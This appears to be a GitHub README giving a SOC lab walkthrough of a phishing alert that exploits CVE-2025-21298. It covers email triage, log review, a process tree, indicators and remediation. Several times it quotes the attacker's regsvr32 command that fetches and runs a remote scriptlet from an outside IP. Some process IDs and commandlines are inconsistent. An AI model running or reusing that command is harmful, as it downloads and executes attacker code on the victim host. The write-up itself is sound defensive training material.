abc1230940/SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298
GitHub: abc1230940/SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298
一个针对 CVE-2025-21298 Windows OLE 零点击 RCE 漏洞的 SOC 安全运营演练，完整记录了从钓鱼邮件检测到攻击链溯源的分析过程。
Stars: 0 | Forks: 0
SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298) Walkthrough
(返回顶部)
情况
我们的员工 Austin 收到了一封来自可疑发件人的钓鱼邮件。2025 年 2 月 4 日下午 04:18，他使用 Outlook 打开该邮件后触发了警报。触发原因是 “检测到含有已知 CVE-2025-21298 漏洞利用模式的恶意 RTF 附件” 。
(返回顶部)
Alert Overview
EventID : 314
Event Time : Feb, 04, 2025, 04:18 PM (I think it was wrong)
Rule : SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)
Level : Security Analyst
SMTP Address : 84.38.130.118
Source Address : projectmanagement@pm.me
Destination Address : Austin@letsdefend.io
E-mail Subject : Important: Action Required for Upcoming Project Deadline
Attachment : mail.rtf
Attachment Hash : df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184
Device Action : Allowed
Trigger Reason : Malicious RTF attachment identified with known CVE-2025-21298 exploit pattern.
使用的工具
(返回顶部)
Analysis
Let's dig into the Email Security, Log Management and Endpoint Security Log for the alert triage.
Email Security
I searched the sender address projectmanagement@pm[.]me and clicked the email "Important: Action Required for Upcoming Project Deadline" sent at 05:12 AM on the same day, which was weird to me because the urgent tones and wordings like "Important" and "Action Required" gave me an insight of a phishing email.
I searched the domain pm[.]me on VirusTotal and only 1 vendor decided it as suspcious.
However, when I searched the SMTP Address 84[.]38[.]130[.]118, 7 vendors flagged it as Malicious and Malware and it was related to SILVER C2 server.
84[.]38[.]130[.]118 was also found in AbuseIPDB database. It locates at Riga, Riga, Latvia, belongs to the domain name rixhost.lv and categorized as DDoS Attack, Hacking and Exploited Host.
Finally I searched the hash df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184 of the attachment mail.rtf on VirusTotal and 29 out of 61 vendors flagged the attachment as Malicious. It belongs to the malware family rtfmalformb and it was associated with the vulnerability CVE-2025-21298.
It was confirmed that a phishing email with a malicious attachment was sent to Austin.
Log Management
Let's investigate if there were suspicious activities after 05:12 AM when Austin opened the phishing email.
Proxy Log
I first checked the proxy log and searched the malicious IP address of the sender 84[.]38[.]130[.]118, discovering that at 08:06 AM there was a HTTP GET Request to the malcious IP Address with an URL hxxp://84[.]38[.]130[.]118/shell[.]sct initiated by cmd.exe, downloading a Windows scriptlet file. The Response code was 200 OK, indicating that the outbound traffic was allowed and not blocked by the firewall. it was unusual to get a script file which possibly contained reverse shell script.
Endpoint Security
Terminal History
Since the outbound traffic to the malicious IP Address was initiated by cmd.exe, I first checked the terminal history and found that at 08:06:08 AM a command "C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll" was executed to spawn regsvr32.exe to fetch the script file from the malicious IP address by scrobj.dll
- regsvr32.exe: a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry
- /s: regsvr32.exe ran in the background and silently
- /u: forced windows not to add this key to Windows Registry
- /i: interface
- scrobj.dll: Script Object Runtime Library handling scriptlet file
Using the built-in utilities in Windows to fetch the script can leave minimal traces on the system, making reverse engineering and malware analysis process more difficult!
Network Action
It was confirmed that there was a connection to the malicious IP 84[.]38[.]130[.]118 at 08:06:42 AM, after the event of execution of command.
Processes
So why cmd.exe was executed by just clicking an email? While any evidence of downloading the malicious attachment of mail.rtf by Austin was not found, I checked the endpoint logs and searched any event around 08:06 AM.
Process ID: 7023
Event time: Feb 04 2025 08:06:25
Commandline: "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll"
Parent Process: cmd.exe
OK then Let's see the parent proccess cmd.exe
Process ID: 6784
Event time: Feb 04 2025 08:06:08
Commandline: "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll"
Parent Process: outlook.exe
And finally checked the parent process of outlook.exe
Process ID: 4820
Event time: Feb 04 2025 08:05:15
Commandline: "C:\Windows\System32\cmd.exe"
Parent Process: explorer.exe
因此，我们可以将恶意进程以树状结构总结如下：
explorer.exe -> outlook.exe (PID:4820) -> cmd.exe (PID:4784) -> regsvr32.exe (PID:7023) -> ! 脚本执行 !
然而，我仍然感到疑惑：在没有下载和打开恶意附件的情况下，这些恶意进程是如何启动的？outlook.exe 又是如何生成恶意进程的？直到我发现了关于 CVE-2025-21298 的信息，这些疑问才得以解开。
(返回顶部)
CVE-2025-21298
According to the article from Offsec, there was a critical Windows OLE zero-click vulnerability enabling RCE via email with a CVSS score of 9.8 in January 2025. When the targeted recipient just opens or previews the malicious email in Microsoft Outlook containing a harmful RTF document with an embedded script , the vulnerability is triggered, allowing the attacker to execute arbitrary code on the affected system.
I did some research about Windows OLE and the hijacking processes of RTF document on Google and Gemini and related to my some knowledge of reverse engineering:
- When opening or previewing the RTF document, UtOlePresStmToContentsStm function inside ole32.dll an OLE object pointed by pstmContents to read the thumbnail image data (OlePres) and dump it into actual data file (CONTENT).
- The function immediately triggers an unexpected processing error due to the corrupted format of the attacker's RTF file, causing deletion of OLE object but not pstmContents pointer.
- Malicious RTF file made a malicious OLE object containing the malicious code exactly same size as the deleted OLE object, filling the same memory space still pointed by pstmContents pointer.
- After the Outlook finished previewing, it runs the fake "clean-up" process containing malicious code "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll" inside the malicious fake OLE object.
- The victim's system executes the remote payload and establishes a reverse shell automatically without any clicks.
Playbook
Not Qurantined
Malicious
Accessed
分析师记录
分类：严重
类型：恶意软件
活动时间：
2025 年 2 月 4 日，上午 05:12（收到钓鱼邮件）
2025 年 2 月 4 日，上午 08:05:15 - 2025 年 2 月 4 日，上午 08:06:42（打开钓鱼邮件并执行恶意代码）
受影响实体：
源地址：projectmanagement@pm[.]me
SMTP 地址：84[.]38[.]130[.]118
收件人邮箱地址：Austin@letsdefend[.]io
收件人 IP 地址：172[.]16[.]17[.]137
主机名：Austin
判定为真阳性的原因：
2025 年 2 月 4 日上午 05:12，一封主题为“重要：即将到来的项目截止日期需要采取行动”的可疑邮件从 projectmanagement@pm.me（IP 地址：84.38.130.118）发送至 austin@letsdefend.io（IP 地址：172.16.17.137），并带有一个名为 mail.rtf 的附件（SHA256 哈希值：df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184）。主题中使用的紧急语气和措辞提供了这是钓鱼邮件的线索。威胁情报平台 VirusTotal 和 AbuseIPDB 将位于拉脱维亚里加的发送方 IP 地址（属于域名 rixhost.lv）以及该附件标记为恶意的和恶意软件。
根据代理日志，上午 08:06，cmd.exe 发起了一个指向恶意 IP 地址的 HTTP GET 请求，URL 为 hxxp://84[.]38[.]130[.]118/shell[.]sct，下载了一个 Windows Scriptlet 文件。响应代码为 200 OK，表明前往该恶意 IP 地址的出站流量已被允许，且未被防火墙阻止。
根据端点安全日志，恶意代码“regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll”（PID: 7023）由 cmd.exe（PID: 6784）启动，而 cmd.exe 则是从 outlook.exe（PID: 4820）生成的。
该漏洞利用是由一个严重的 Windows OLE 零点击漏洞（CVE-2025-21298）引起的，该漏洞可通过电子邮件实现 RCE，其 CVSS 评分为 9.8（于 2025 年 1 月披露）。当目标收件人仅在 Microsoft Outlook 中打开或预览包含带有嵌入脚本的恶意 RTF 文档的邮件时，就会触发此漏洞，允许攻击者在受影响的系统上执行任意代码，从而有可能建立连接到 C2 服务器的反向 shell。
升级处理原因：
尽管尚未明确观察到活跃的后渗透 C2 网络流量，但端点安全日志确认了 regsvr32.exe 使用 scrobj.dll 获取了 scriptlet 文件 shell.sct。鉴于 CVE-2025-21298 高达 9.8 的 CVSS 评分，需要进一步调查以检查主机上是否存在任何可疑活动，例如建立持久性或数据外泄。
修复方案：
- 立即将主机 Austin 从公司内部网络中断开
- 终止“regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll”进程及其相关进程 cmd.exe、outlook.exe
- 阻止前往 84[.]38[.]130[.]118 的出站流量
- 将域名 rixhost[.]lv 加入黑名单
- 在邮件服务器中将发件人 projectmanagement@pm[.]me 加入黑名单
- 对 CVE-2025-21298 漏洞进行补丁修复
- 重置 Austin 的凭证
- 在主机 Austin 上执行内存分析，以调查执行 shell.sct 后是否发生了 C2 连接、建立持久性、数据外泄等恶意活动
- 对 shell.sct 执行逆向工程
- 执行邮件分析，调查邮件头中的源 IP 和回复地址
- 阻止由 regsvr32.exe 发起的互联网访问
- 开展钓鱼防范意识宣传活动，教育员工不要打开来自未知发件人的邮件，或包含紧急语气/措辞的邮件
入侵指标：
- 发件人地址：projectmanagement@pm[.]me 发件人 IP 地址：84[.]38[.]130[.]118 发件人域名：rixhost[.]lv
- 钓鱼邮件：“重要：即将到来的项目截止日期需要采取行动” 恶意文档：mail.rtf（SHA256 哈希值：df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184）
- 恶意进程树：outlook.exe (PID: 4820) -> cmd.exe (PID: 6784) -> regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll" (PID: 7023)
- 第二阶段 payload 的 URL：hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll
(返回顶部)
参考
CVE-2025-21298：一个严重的 Windows OLE 零点击漏洞
(返回顶部)